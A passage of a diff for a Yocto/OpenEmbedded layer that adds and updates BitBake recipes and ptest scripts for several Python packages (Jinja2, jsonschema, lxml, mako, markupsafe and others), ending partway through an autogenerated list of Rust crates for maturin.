+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=5dc88300786f1c214c1e9827a5229462"
+
+SRC_URI[sha256sum] = "ac8bd6544d4bb2c9792bf3a159e80bba8fda7f07e81bc3aed565432d5925ba90"
+
+PYPI_PACKAGE = "Jinja2"
+
+CVE_PRODUCT = "jinja2 jinja"
+
+CLEANBROKEN = "1"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+ python3-toml \
+ python3-unixadmin \
+"
+
+RDEPENDS:${PN} += " \
+ python3-asyncio \
+ python3-crypt \
+ python3-io \
+ python3-json \
+ python3-markupsafe \
+ python3-math \
+ python3-netclient \
+ python3-numbers\
+ python3-pickle \
+ python3-pprint \
+ python3-shell \
+ python3-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-jsonpointer/run-ptest b/meta/recipes-devtools/python/python3-jsonpointer/run-ptest
new file mode 100644
index 0000000000..7ebd69231f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jsonpointer/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+python3 -mputao.unittest tests.py
diff --git a/meta/recipes-devtools/python/python3-jsonpointer_2.4.bb b/meta/recipes-devtools/python/python3-jsonpointer_2.4.bb
new file mode 100644
index 0000000000..062fa5243f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jsonpointer_2.4.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Resolve JSON Pointers in Python"
+HOMEPAGE = "https://github.com/stefankoegl/python-json-pointer"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=32b15c843b7a329130f4e266a281ebb3"
+
+inherit pypi ptest setuptools3
+
+SRC_URI[sha256sum] = "585cee82b70211fa9e6043b7bb89db6e1aa49524340dde8ad6b63206ea689d88"
+
+RDEPENDS:${PN} += " \
+ python3-json \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-doctest \
+ python3-unittest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ cp -f ${S}/tests.py ${D}${PTEST_PATH}/
+}
diff --git a/meta/recipes-devtools/python/python3-jsonschema-specifications_2023.12.1.bb b/meta/recipes-devtools/python/python3-jsonschema-specifications_2023.12.1.bb
new file mode 100644
index 0000000000..4ee0dd9b12
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jsonschema-specifications_2023.12.1.bb
@@ -0,0 +1,16 @@
+SUMMARY = "The JSON Schema meta-schemas and vocabularies, exposed as a Registry"
+DESCRIPTION = "JSON support files from the JSON Schema Specifications (metaschemas, \
+vocabularies, etc.), packaged for runtime access from Python as a referencing-based Schema Registry."
+HOMEPAGE = "https://pypi.org/project/jsonschema-specifications/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=93eb9740964b59e9ba30281255b044e2"
+
+SRC_URI[sha256sum] = "48a76787b3e70f5ed53f1160d2b81f586e4ca6d1548c5de7085d1682674764cc"
+
+inherit pypi python_hatchling
+
+PYPI_PACKAGE = "jsonschema_specifications"
+
+DEPENDS += "python3-hatch-vcs-native"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-jsonschema_4.21.1.bb b/meta/recipes-devtools/python/python3-jsonschema_4.21.1.bb
new file mode 100644
index 0000000000..381148f4bb
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jsonschema_4.21.1.bb
@@ -0,0 +1,50 @@
+SUMMARY = "An implementation of JSON Schema validation for Python"
+HOMEPAGE = "https://github.com/python-jsonschema/jsonschema"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7a60a81c146ec25599a3e1dabb8610a8 \
+ file://json/LICENSE;md5=9d4de43111d33570c8fe49b4cb0e01af"
+
+SRC_URI[sha256sum] = "85727c00279f5fa6bedbe6238d2aa6403bedd8b4864ab11207d07df3cc1b2ee5"
+
+inherit pypi python_hatchling
+
+PACKAGES =+ "${PN}-tests"
+FILES:${PN}-tests = "${libdir}/${PYTHON_DIR}/site-packages/jsonschema/tests"
+
+DEPENDS += "python3-hatch-fancy-pypi-readme-native python3-hatch-vcs-native "
+
+PACKAGECONFIG ??= "format"
+PACKAGECONFIG[format] = ",,,\
+ python3-idna \
+ python3-jsonpointer \
+ python3-webcolors \
+ python3-rfc3987 \
+ python3-rfc3339-validator \
+"
+PACKAGECONFIG[nongpl] = ",,,\
+ python3-idna \
+ python3-jsonpointer \
+ python3-webcolors \
+ python3-rfc3986-validator \
+ python3-rfc3339-validator \
+"
+
+RDEPENDS:${PN} += " \
+ python3-attrs \
+ python3-core \
+ python3-datetime \
+ python3-importlib-metadata \
+ python3-io \
+ python3-json \
+ python3-jsonschema-specifications \
+ python3-netclient \
+ python3-numbers \
+ python3-pprint \
+ python3-pyrsistent \
+ python3-referencing \
+ python3-zipp \
+"
+
+RDEPENDS:${PN}-tests = "${PN}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-libarchive-c_2.9.bb b/meta/recipes-devtools/python/python3-libarchive-c_2.9.bb
deleted file mode 100644
index 3a2d8733e9..0000000000
--- a/meta/recipes-devtools/python/python3-libarchive-c_2.9.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Python interface to libarchive"
-DESCRIPTION = "A Python interface to libarchive. It uses the standard ctypes module to \
- dynamically load and access the C library."
-HOMEPAGE = "https://github.com/Changaco/python-libarchive-c"
-LICENSE = "CC0-1.0"
-LIC_FILES_CHKSUM = "file://LICENSE.md;md5=bcab380227a83bc147350b40a81e6ffc"
-
-PYPI_PACKAGE = "libarchive-c"
-
-inherit pypi setuptools3
-
-SRC_URI[md5sum] = "083bd2cb0043c1e22a52cb9a05e31532"
-SRC_URI[sha256sum] = "9919344cec203f5db6596a29b5bc26b07ba9662925a05e24980b84709232ef60"
-
-RDEPENDS_${PN} += "\
- libarchive \
- ${PYTHON_PN}-ctypes \
- ${PYTHON_PN}-mmap \
-"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-libarchive-c_5.1.bb b/meta/recipes-devtools/python/python3-libarchive-c_5.1.bb
new file mode 100644
index 0000000000..4e318e52f4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-libarchive-c_5.1.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Python interface to libarchive"
+DESCRIPTION = "A Python interface to libarchive. It uses the standard ctypes module to \
+ dynamically load and access the C library."
+HOMEPAGE = "https://github.com/Changaco/python-libarchive-c"
+LICENSE = "CC0-1.0"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=bcab380227a83bc147350b40a81e6ffc"
+
+PYPI_PACKAGE = "libarchive-c"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "7bcce24ea6c0fa3bc62468476c6d2f6264156db2f04878a372027c10615a2721"
+
+RDEPENDS:${PN} += "\
+ libarchive \
+ python3-ctypes \
+ python3-mmap \
+ python3-logging \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-license-expression/run-ptest b/meta/recipes-devtools/python/python3-license-expression/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-license-expression/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-license-expression_30.3.0.bb b/meta/recipes-devtools/python/python3-license-expression_30.3.0.bb
new file mode 100644
index 0000000000..f36336b592
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-license-expression_30.3.0.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Utility library to parse, compare, simplify and normalize license expressions"
+HOMEPAGE = "https://github.com/nexB/license-expression"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://apache-2.0.LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
+
+SRC_URI[sha256sum] = "1295406f736b4f395ff069aec1cebfad53c0fcb3cf57df0f5ec58fc7b905aea5"
+
+inherit pypi ptest python_setuptools_build_meta
+
+DEPENDS += "python3-setuptools-scm-native"
+
+RDEPENDS:${PN} += "\
+ python3-booleanpy \
+ python3-core \
+ python3-json \
+ python3-stringold \
+ python3-logging \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ install -d ${D}${PTEST_PATH}/src
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/src/* ${D}${PTEST_PATH}/src/
+ cp -rf ${S}/setup.cfg ${D}${PTEST_PATH}/
+}
diff --git a/meta/recipes-devtools/python/python3-lxml_5.1.0.bb b/meta/recipes-devtools/python/python3-lxml_5.1.0.bb
new file mode 100644
index 0000000000..43719086f0
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-lxml_5.1.0.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API."
+DESCRIPTION = "lxml is a Pythonic, mature binding for the libxml2 and \
+libxslt libraries. It provides safe and convenient access to these \
+libraries using the ElementTree API. It extends the ElementTree API \
+significantly to offer support for XPath, RelaxNG, XML Schema, XSLT, \
+C14N and much more."
+HOMEPAGE = "https://lxml.de/"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause & GPL-2.0-only & MIT & PSF-2.0"
+LIC_FILES_CHKSUM = "file://LICENSES.txt;md5=e4c045ebad958ead4b48008f70838403 \
+ file://doc/licenses/elementtree.txt;md5=eb34d036a6e3d56314ee49a6852ac891 \
+ file://doc/licenses/BSD.txt;md5=700a1fc17f4797d4f2d34970c8ee694b \
+ file://doc/licenses/GPL.txt;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://src/lxml/isoschematron/resources/rng/iso-schematron.rng;beginline=2;endline=7;md5=fc85684a8dd5fa272c086bceb0d99e10 \
+ file://src/lxml/isoschematron/resources/xsl/iso-schematron-xslt1/iso_schematron_message.xsl;beginline=2;endline=24;md5=cc86b7b2bbc678e13f58ea403eb9929b \
+ file://src/lxml/isoschematron/resources/xsl/RNG2Schtrn.xsl;beginline=2;endline=7;md5=5b03236d293dc3784205542b409d2f53 \
+ "
+
+DEPENDS += "libxml2 libxslt"
+
+SRC_URI[sha256sum] = "3eea6ed6e6c918e468e693c41ef07f3c3acc310b70ddd9cc72d9ef84bc9564ca"
+
+SRC_URI += "${PYPI_SRC_URI}"
+inherit pkgconfig pypi setuptools3
+
+# {standard input}: Assembler messages:
+# {standard input}:1488805: Error: branch out of range
+DEBUG_OPTIMIZATION:remove:mips = " -Og"
+DEBUG_OPTIMIZATION:append:mips = " -O"
+BUILD_OPTIMIZATION:remove:mips = " -Og"
+BUILD_OPTIMIZATION:append:mips = " -O"
+
+DEBUG_OPTIMIZATION:remove:mipsel = " -Og"
+DEBUG_OPTIMIZATION:append:mipsel = " -O"
+BUILD_OPTIMIZATION:remove:mipsel = " -Og"
+BUILD_OPTIMIZATION:append:mipsel = " -O"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "libxml2 libxslt python3-compression"
+
+CLEANBROKEN = "1"
diff --git a/meta/recipes-devtools/python/python3-magic_0.4.18.bb b/meta/recipes-devtools/python/python3-magic_0.4.18.bb
deleted file mode 100644
index 101b96d31c..0000000000
--- a/meta/recipes-devtools/python/python3-magic_0.4.18.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "File type identification using libmagic"
-DESCRIPTION = "This module uses ctypes to access the libmagic file type \
- identification library. It makes use of the local magic database and supports \
- both textual and MIME-type output."
-HOMEPAGE = "http://github.com/ahupp/python-magic"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=16a934f165e8c3245f241e77d401bb88"
-
-PYPI_PACKAGE = "python-magic"
-
-inherit pypi setuptools3
-
-SRC_URI[md5sum] = "5edc6caa39cc62641850f6b1b6f284ba"
-SRC_URI[sha256sum] = "b757db2a5289ea3f1ced9e60f072965243ea43a2221430048fd8cacab17be0ce"
-
-RDEPENDS_${PN} += "file \
- ${PYTHON_PN}-ctypes \
- ${PYTHON_PN}-io \
- ${PYTHON_PN}-shell"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-magic_0.4.27.bb b/meta/recipes-devtools/python/python3-magic_0.4.27.bb
new file mode 100644
index 0000000000..2e561e69d7
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-magic_0.4.27.bb
@@ -0,0 +1,22 @@
+SUMMARY = "File type identification using libmagic"
+DESCRIPTION = "This module uses ctypes to access the libmagic file type \
+ identification library. It makes use of the local magic database and supports \
+ both textual and MIME-type output."
+HOMEPAGE = "http://github.com/ahupp/python-magic"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=61495c152d794e6be5799a9edca149e3"
+
+PYPI_PACKAGE = "python-magic"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "c1ba14b08e4a5f5c31a302b7721239695b2f0f058d125bd5ce1ee36b9d9d3c3b"
+
+RDEPENDS:${PN} += "file \
+ python3-ctypes \
+ python3-io \
+ python3-logging \
+ python3-shell"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-mako_1.1.3.bb b/meta/recipes-devtools/python/python3-mako_1.1.3.bb
deleted file mode 100644
index cda4e99220..0000000000
--- a/meta/recipes-devtools/python/python3-mako_1.1.3.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Templating library for Python"
-HOMEPAGE = "http://www.makotemplates.org/"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=943eb67718222db21d44a4ef1836675f"
-
-PYPI_PACKAGE = "Mako"
-
-inherit pypi setuptools3
-
-SRC_URI[sha256sum] = "8195c8c1400ceb53496064314c6736719c6f25e7479cd24c77be3d9361cddc27"
-
-RDEPENDS_${PN} = "${PYTHON_PN}-html \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-threading \
-"
-
-RDEPENDS_${PN}_class-native = ""
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-mako_1.3.2.bb b/meta/recipes-devtools/python/python3-mako_1.3.2.bb
new file mode 100644
index 0000000000..5b7df9192f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-mako_1.3.2.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Templating library for Python"
+HOMEPAGE = "http://www.makotemplates.org/"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d0995d6f7ba3f186a03118f244e88f57"
+
+PYPI_PACKAGE = "Mako"
+
+inherit pypi python_setuptools_build_meta
+
+SRC_URI[sha256sum] = "2a0c8ad7f6274271b3bb7467dd37cf9cc6dab4bc19cb69a4ef10669402de698e"
+
+RDEPENDS:${PN} = "python3-html \
+ python3-markupsafe \
+ python3-netclient \
+ python3-pygments \
+ python3-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-markdown_3.6.bb b/meta/recipes-devtools/python/python3-markdown_3.6.bb
new file mode 100644
index 0000000000..7c64837395
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-markdown_3.6.bb
@@ -0,0 +1,13 @@
+SUMMARY = "A Python implementation of John Gruber's Markdown."
+HOMEPAGE = "https://python-markdown.github.io/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=ec58cdf7cfed06a21f7a9362627a5480"
+
+inherit pypi python_setuptools_build_meta
+
+PYPI_PACKAGE = "Markdown"
+SRC_URI[sha256sum] = "ed4f41f6daecbeeb96e576ce414c41d2d876daa9a16cb35fa8ed8c2ddfad0224"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "python3-logging python3-setuptools"
diff --git a/meta/recipes-devtools/python/python3-markupsafe/run-ptest b/meta/recipes-devtools/python/python3-markupsafe/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-markupsafe/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-markupsafe_2.1.5.bb b/meta/recipes-devtools/python/python3-markupsafe_2.1.5.bb
new file mode 100644
index 0000000000..821332fe7c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-markupsafe_2.1.5.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Implements a XML/HTML/XHTML Markup safe string for Python"
+HOMEPAGE = "http://github.com/mitsuhiko/markupsafe"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=ffeffa59c90c9c4a033c7574f8f3fb75"
+
+SRC_URI[sha256sum] = "d283d37a890ba4c1ae73ffadf8046435c76e7bc2247bbb63c00bd1a709c6544b"
+
+PYPI_PACKAGE = "MarkupSafe"
+inherit pypi python_setuptools_build_meta ptest
+
+RDEPENDS:${PN} += "python3-stringold"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -f ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
diff --git a/meta/recipes-devtools/python/python3-maturin-crates.inc b/meta/recipes-devtools/python/python3-maturin-crates.inc
new file mode 100644
index 0000000000..3cb614d52a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-maturin-crates.inc
@@ -0,0 +1,618 @@
+# Autogenerated with 'bitbake -c update_crates python3-maturin'
+
+# from Cargo.lock
+SRC_URI += " \
+ crate://crates.io/adler/1.0.2 \
+ crate://crates.io/ahash/0.8.6 \
+ crate://crates.io/aho-corasick/1.1.2 \
+ crate://crates.io/allocator-api2/0.2.16 \
+ crate://crates.io/anstream/0.3.2 \
+ crate://crates.io/anstream/0.6.4 \
+ crate://crates.io/anstyle/1.0.2 \
+ crate://crates.io/anstyle-parse/0.2.1 \
+ crate://crates.io/anstyle-query/1.0.0 \
+ crate://crates.io/anstyle-wincon/1.0.2 \
+ crate://crates.io/anstyle-wincon/3.0.1 \
+ crate://crates.io/anyhow/1.0.75 \
+ crate://crates.io/autocfg/1.1.0 \
+ crate://crates.io/base64/0.13.1 \
+ crate://crates.io/base64/0.21.5 \
+ crate://crates.io/bitflags/1.3.2 \
+ crate://crates.io/bitflags/2.4.1 \
+ crate://crates.io/block-buffer/0.10.4 \
+ crate://crates.io/bstr/1.8.0 \
+ crate://crates.io/byteorder/1.5.0 \
+ crate://crates.io/bytes/1.5.0 \
+ crate://crates.io/bytesize/1.3.0 \
+ crate://crates.io/bzip2/0.4.4 \
+ crate://crates.io/bzip2-sys/0.1.11+1.0.8 \
+ crate://crates.io/cab/0.4.1 \
+ crate://crates.io/camino/1.1.6 \
+ crate://crates.io/cargo-config2/0.1.16 \
+ crate://crates.io/cargo-options/0.7.2 \
+ crate://crates.io/cargo-platform/0.1.5 \
+ crate://crates.io/cargo-xwin/0.16.2 \
+ crate://crates.io/cargo-zigbuild/0.18.0 \
+ crate://crates.io/cargo_metadata/0.18.1 \
+ crate://crates.io/cbindgen/0.26.0 \
+ crate://crates.io/cc/1.0.83 \
+ crate://crates.io/cfb/0.9.0 \
+ crate://crates.io/cfg-if/1.0.0 \
+ crate://crates.io/charset/0.1.3 \
+ crate://crates.io/chumsky/0.9.3 \
+ crate://crates.io/clap/4.3.24 \
+ crate://crates.io/clap_builder/4.3.24 \
+ crate://crates.io/clap_complete/4.3.2 \
+ crate://crates.io/clap_complete_command/0.5.1 \
+ crate://crates.io/clap_complete_fig/4.3.1 \
+ crate://crates.io/clap_complete_nushell/0.1.11 \
+ crate://crates.io/clap_derive/4.3.12 \
+ crate://crates.io/clap_lex/0.5.0 \
+ crate://crates.io/cli-table/0.4.7 \
+ crate://crates.io/colorchoice/1.0.0 \
+ crate://crates.io/configparser/3.0.3 \
+ crate://crates.io/console/0.15.7 \
+ crate://crates.io/content_inspector/0.2.4 \
+ crate://crates.io/core-foundation/0.9.3 \
+ crate://crates.io/core-foundation-sys/0.8.4 \
+ crate://crates.io/cpufeatures/0.2.11 \
+ crate://crates.io/crc32fast/1.3.2 \
+ crate://crates.io/crossbeam-channel/0.5.8 \
+ crate://crates.io/crossbeam-deque/0.8.3 \
+ crate://crates.io/crossbeam-epoch/0.9.15 \
+ crate://crates.io/crossbeam-utils/0.8.16 \
+ crate://crates.io/crypto-common/0.1.6 \
+ crate://crates.io/data-encoding/2.5.0 \
+ crate://crates.io/deranged/0.3.9 \
+ crate://crates.io/dialoguer/0.11.0 \
+ crate://crates.io/diff/0.1.13 \
+ crate://crates.io/digest/0.10.7 \
+ crate://crates.io/dirs/5.0.1 \
+ crate://crates.io/dirs-sys/0.4.1 \
+ crate://crates.io/dissimilar/1.0.7 \
+ crate://crates.io/dunce/1.0.4 \
+ crate://crates.io/either/1.9.0 \
+ crate://crates.io/encode_unicode/0.3.6 \
+ crate://crates.io/encoding_rs/0.8.33 \
+ crate://crates.io/equivalent/1.0.1 \
+ crate://crates.io/errno/0.3.8 \
+ crate://crates.io/expect-test/1.4.1 \
+ crate://crates.io/fastrand/2.0.1 \
+ crate://crates.io/fat-macho/0.4.7 \
+ crate://crates.io/filetime/0.2.22 \
+ crate://crates.io/flate2/1.0.28 \
+ crate://crates.io/fnv/1.0.7 \
+ crate://crates.io/foreign-types/0.3.2 \
+ crate://crates.io/foreign-types-shared/0.1.1 \
+ crate://crates.io/form_urlencoded/1.2.1 \
+ crate://crates.io/fs-err/2.11.0 \
+ crate://crates.io/generic-array/0.14.7 \
+ crate://crates.io/getrandom/0.2.11 \
+ crate://crates.io/glob/0.3.1 \
+ crate://crates.io/globset/0.4.14 \
+ crate://crates.io/goblin/0.7.1 \
+ crate://crates.io/hashbrown/0.12.3 \
+ crate://crates.io/hashbrown/0.14.3 \
+ crate://crates.io/heck/0.4.1 \
+ crate://crates.io/hermit-abi/0.3.3 \
+ crate://crates.io/home/0.5.5 \
+ crate://crates.io/humantime/2.1.0 \
+ crate://crates.io/humantime-serde/1.1.1 \
+ crate://crates.io/idna/0.5.0 \
+ crate://crates.io/ignore/0.4.20 \
+ crate://crates.io/indexmap/1.9.3 \
+ crate://crates.io/indexmap/2.1.0 \
+ crate://crates.io/indicatif/0.17.7 \
+ crate://crates.io/indoc/2.0.4 \
+ crate://crates.io/instant/0.1.12 \
+ crate://crates.io/io-lifetimes/1.0.11 \
+ crate://crates.io/is-terminal/0.4.9 \
+ crate://crates.io/itertools/0.11.0 \
+ crate://crates.io/itertools/0.12.0 \
+ crate://crates.io/itoa/1.0.9 \
+ crate://crates.io/keyring/2.0.5 \
+ crate://crates.io/lazy_static/1.4.0 \
+ crate://crates.io/lddtree/0.3.3 \
+ crate://crates.io/libc/0.2.150 \
+ crate://crates.io/libredox/0.0.1 \
+ crate://crates.io/linux-keyutils/0.2.3 \
+ crate://crates.io/linux-raw-sys/0.3.8 \
+ crate://crates.io/linux-raw-sys/0.4.11 \
+ crate://crates.io/lock_api/0.4.11 \
+ crate://crates.io/log/0.4.20 \
+ crate://crates.io/lzxd/0.1.4 \
+ crate://crates.io/mailparse/0.14.0 \
+ crate://crates.io/matchers/0.1.0 \
+ crate://crates.io/memchr/2.6.4 \
+ crate://crates.io/memoffset/0.9.0 \
+ crate://crates.io/mime/0.3.17 \
+ crate://crates.io/mime_guess/2.0.4 \
+ crate://crates.io/minijinja/1.0.10 \
+ crate://crates.io/minimal-lexical/0.2.1 \
+ crate://crates.io/miniz_oxide/0.7.1 \
+ crate://crates.io/msi/0.7.0 \
+ crate://crates.io/multipart/0.18.0 \
+ crate://crates.io/native-tls/0.2.11 \
+ crate://crates.io/nom/7.1.3 \
+ crate://crates.io/normalize-line-endings/0.3.0 \
+ crate://crates.io/normpath/1.1.1 \
+ crate://crates.io/nu-ansi-term/0.46.0 \
+ crate://crates.io/number_prefix/0.4.0 \
+ crate://crates.io/once_cell/1.18.0 \
+ crate://crates.io/openssl/0.10.60 \
+ crate://crates.io/openssl-macros/0.1.1 \
+ crate://crates.io/openssl-probe/0.1.5 \
+ crate://crates.io/openssl-sys/0.9.96 \
+ crate://crates.io/option-ext/0.2.0 \
+ crate://crates.io/os_pipe/1.1.4 \
+ crate://crates.io/overload/0.1.1 \
+ crate://crates.io/parking_lot/0.12.1 \
+ crate://crates.io/parking_lot_core/0.9.9 \
+ crate://crates.io/paste/1.0.14 \
+ crate://crates.io/path-slash/0.2.1 \
+ crate://crates.io/pep440_rs/0.3.12 \
+ crate://crates.io/pep508_rs/0.2.3 \
+ crate://crates.io/percent-encoding/2.3.1 \
+ crate://crates.io/pin-project-lite/0.2.13 \
+ crate://crates.io/pkg-config/0.3.27 \
+ crate://crates.io/plain/0.2.3 \
+ crate://crates.io/platform-info/2.0.2 \
+ crate://crates.io/portable-atomic/1.5.1 \
+ crate://crates.io/powerfmt/0.2.0 \
+ crate://crates.io/ppv-lite86/0.2.17 \
+ crate://crates.io/pretty_assertions/1.4.0 \
+ crate://crates.io/proc-macro2/1.0.70 \
+ crate://crates.io/psm/0.1.21 \
+ crate://crates.io/pyproject-toml/0.8.1 \
+ crate://crates.io/python-pkginfo/0.6.0 \
+ crate://crates.io/quote/1.0.33 \
+ crate://crates.io/quoted_printable/0.4.8 \
+ crate://crates.io/rand/0.8.5 \
+ crate://crates.io/rand_chacha/0.3.1 \
+ crate://crates.io/rand_core/0.6.4 \
+ crate://crates.io/rayon/1.8.0 \
+ crate://crates.io/rayon-core/1.12.0 \
+ crate://crates.io/redox_syscall/0.3.5 \
+ crate://crates.io/redox_syscall/0.4.1 \
+ crate://crates.io/redox_users/0.4.4 \
+ crate://crates.io/regex/1.10.2 \
+ crate://crates.io/regex-automata/0.1.10 \
+ crate://crates.io/regex-automata/0.4.3 \
+ crate://crates.io/regex-syntax/0.6.29 \
+ crate://crates.io/regex-syntax/0.8.2 \
+ crate://crates.io/rfc2047-decoder/0.2.2 \
+ crate://crates.io/ring/0.17.6 \
+ crate://crates.io/rustc_version/0.4.0 \
+ crate://crates.io/rustix/0.37.27 \
+ crate://crates.io/rustix/0.38.21 \
+ crate://crates.io/rustls/0.21.9 \
+ crate://crates.io/rustls-pemfile/2.0.0 \
+ crate://crates.io/rustls-pki-types/1.0.0 \
+ crate://crates.io/rustls-webpki/0.101.7 \
+ crate://crates.io/rustversion/1.0.14 \
+ crate://crates.io/ryu/1.0.15 \
+ crate://crates.io/same-file/1.0.6 \
+ crate://crates.io/schannel/0.1.22 \
+ crate://crates.io/scopeguard/1.2.0 \
+ crate://crates.io/scroll/0.11.0 \
+ crate://crates.io/scroll_derive/0.11.1 \
+ crate://crates.io/sct/0.7.1 \
+ crate://crates.io/security-framework/2.9.2 \
+ crate://crates.io/security-framework-sys/2.9.1 \
+ crate://crates.io/semver/1.0.20 \
+ crate://crates.io/serde/1.0.193 \
+ crate://crates.io/serde_derive/1.0.193 \
+ crate://crates.io/serde_json/1.0.108 \
+ crate://crates.io/serde_spanned/0.6.4 \
+ crate://crates.io/sha2/0.10.8 \
+ crate://crates.io/sharded-slab/0.1.7 \
+ crate://crates.io/shell-words/1.1.0 \
+ crate://crates.io/shlex/1.2.0 \
+ crate://crates.io/similar/2.3.0 \
+ crate://crates.io/smallvec/1.11.2 \
+ crate://crates.io/smawk/0.3.2 \
+ crate://crates.io/snapbox/0.4.14 \
+ crate://crates.io/snapbox-macros/0.3.6 \
+ crate://crates.io/socks/0.3.4 \
+ crate://crates.io/spin/0.9.8 \
+ crate://crates.io/stacker/0.1.15 \
+ crate://crates.io/static_assertions/1.1.0 \
+ crate://crates.io/strsim/0.10.0 \
+ crate://crates.io/syn/1.0.109 \
+ crate://crates.io/syn/2.0.39 \
+ crate://crates.io/tar/0.4.40 \
+ crate://crates.io/target-lexicon/0.12.12 \
+ crate://crates.io/tempfile/3.8.1 \
+ crate://crates.io/termcolor/1.4.0 \
+ crate://crates.io/terminal_size/0.2.6 \
+ crate://crates.io/textwrap/0.16.0 \
+ crate://crates.io/thiserror/1.0.50 \
+ crate://crates.io/thiserror-impl/1.0.50 \
+ crate://crates.io/thread_local/1.1.7 \
+ crate://crates.io/time/0.3.30 \
+ crate://crates.io/time-core/0.1.2 \
+ crate://crates.io/time-macros/0.2.15 \
+ crate://crates.io/tinyvec/1.6.0 \
+ crate://crates.io/tinyvec_macros/0.1.1 \
+ crate://crates.io/toml/0.5.11 \
+ crate://crates.io/toml/0.8.8 \
+ crate://crates.io/toml_datetime/0.6.5 \
+ crate://crates.io/toml_edit/0.20.7 \
+ crate://crates.io/toml_edit/0.21.0 \
+ crate://crates.io/tracing/0.1.40 \
+ crate://crates.io/tracing-attributes/0.1.27 \
+ crate://crates.io/tracing-core/0.1.32 \
+ crate://crates.io/tracing-log/0.2.0 \
+ crate://crates.io/tracing-serde/0.1.3 \
+ crate://crates.io/tracing-subscriber/0.3.18 \
